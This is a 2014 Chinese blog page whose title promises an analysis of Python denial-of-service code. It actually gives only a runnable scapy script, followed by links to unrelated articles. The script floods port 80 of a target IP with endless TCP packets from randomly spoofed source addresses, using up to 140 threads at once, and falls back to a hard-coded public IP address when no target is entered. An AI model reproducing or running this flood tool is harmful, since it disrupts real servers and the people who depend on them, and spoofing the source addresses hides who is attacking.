分析python服务器拒绝服务攻击代码


Posted in Python onJanuary 16, 2014
# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,activeCount
from random import randint
class Loop(Thread):
    def __init__(self,remoteAddr):
        Thread.__init__(self)
        self.remoteAddr = remoteAddr
    def run(self):
        ip = str(randint(0,255))+'.'\
             +str(randint(0,255))+'.'\
             +str(randint(0,255))+'.'\
             +str(randint(0,255))
        sr1(IP(src = ip,dst = self.remoteAddr)/TCP(dport = 80),retry = 0,verbose = 0,timeout = 3)
        
class Main(Thread):
    def __init__(self,remoteAddr):
        Thread.__init__(self)
        self.remoteAddr = remoteAddr
    def run(self):
        limit = 140
        total = 0
        while True:
            if activeCount() < limit:
                Loop(remoteAddr = self.remoteAddr).start()
                total = total + 1
            print '目前已经进行的HttpFlood的次数为:',total
if __name__ == '__main__':
    remoteAddr = raw_input('IP=')
    if remoteAddr == '':
        remoteAddr = '202.103.25.12'
    Main(remoteAddr = remoteAddr).start()
Python 相关文章推荐
合并Excel工作薄中成绩表的VBA代码,非常适合教育一线的朋友
Apr 09 Python
Python使用scrapy采集数据时为每个请求随机分配user-agent的方法
Apr 08 Python
python利用datetime模块计算时间差
Aug 04 Python
Python实现合并同一个文件夹下所有txt文件的方法示例
Apr 26 Python
Python基于递归和非递归算法求两个数最大公约数、最小公倍数示例
May 21 Python
Python global全局变量函数详解
Sep 18 Python
python破解bilibili滑动验证码登录功能
Sep 11 Python
python字符串替换re.sub()实例解析
Feb 09 Python
Python利用 utf-8-sig 编码格式解决写入 csv 文件乱码问题
Feb 21 Python
40行Python代码实现天气预报和每日鸡汤推送功能
Feb 27 Python
Python 实现将大图切片成小图,将小图组合成大图的例子
Mar 14 Python
Python必须了解的35个关键词
Jul 16 Python
python获取豆瓣电影简介代码分享
Jan 16 #Python
linux系统使用python获取cpu信息脚本分享
Jan 15 #Python
linux系统使用python监测系统负载脚本分享
Jan 15 #Python
linux系统使用python获取内存使用信息脚本分享
Jan 15 #Python
linux系统使用python监测网络接口获取网络的输入输出
Jan 15 #Python
linux系统使用python监控apache服务器进程脚本分享
Jan 15 #Python
Python获取当前时间的方法
Jan 14 #Python
You might like
PHP OPCode缓存 APC详细介绍
2010/10/12 PHP
php开发留言板的CRUD(增,删,改,查)操作
2012/04/19 PHP
Eclipse的PHP插件PHPEclipse安装和使用
2014/07/20 PHP
php5.3提示Function ereg() is deprecated Error问题解决方法
2014/11/12 PHP
php封装实现钉钉机器人报警接口的示例代码
2020/08/08 PHP
用js自动判断浏览器分辨率的代码
2007/01/28 Javascript
Json实现异步请求提交评论无需跳转其他页面
2014/10/11 Javascript
javascript 回调函数详解
2014/11/11 Javascript
javascript密码强度校验代码(两种方法)
2015/08/10 Javascript
jQuery实现有动画淡出效果的二级折叠菜单代码
2015/10/17 Javascript
vue的props实现子组件随父组件一起变化
2016/10/27 Javascript
Bootstrap基本组件学习笔记之列表组(11)
2016/12/07 Javascript
在node.js中怎么屏蔽掉favicon.ico的请求
2017/03/01 Javascript
mac下的nodejs环境安装的步骤
2017/05/24 NodeJs
JS 组件系列之BootstrapTable的treegrid功能
2017/06/16 Javascript
微信小程序之蓝牙的链接
2017/09/26 Javascript
解决jQuery使用append添加的元素事件无效的问题
2018/08/30 jQuery
angular4应用中输入的最小值和最大值的方法
2019/05/17 Javascript
微信小程序使用车牌号输入法的示例代码
2019/08/20 Javascript
在antd4.0中Form使用initialValue操作
2020/11/02 Javascript
vue3.0实现点击切换验证码(组件)及校验
2020/11/18 Vue.js
Python中操作文件之write()方法的使用教程
2015/05/25 Python
全面了解Python环境配置及项目建立
2016/06/30 Python
Python数据结构与算法之常见的分配排序法示例【桶排序与基数排序】
2017/12/15 Python
matplotlib subplots 调整子图间矩的实例
2018/05/25 Python
如何用OpenCV -python3实现视频物体追踪
2019/12/04 Python
python基于TCP实现的文件下载器功能案例
2019/12/10 Python
Python写捕鱼达人的游戏实现
2020/03/31 Python
Django Form设置文本框为readonly操作
2020/07/03 Python
在IE6系列等老式浏览器中使用HTML5的新标签实现方案
2012/12/25 HTML / CSS
基于HTML5 WebGL的3D机房的示例
2018/03/16 HTML / CSS
十佳教师事迹材料
2014/01/11 职场文书
体育专业求职信
2014/07/16 职场文书
学术会议通知
2015/04/15 职场文书
终止劳动合同通知书
2015/04/16 职场文书
MySQL令人咋舌的隐式转换
2021/04/05 MySQL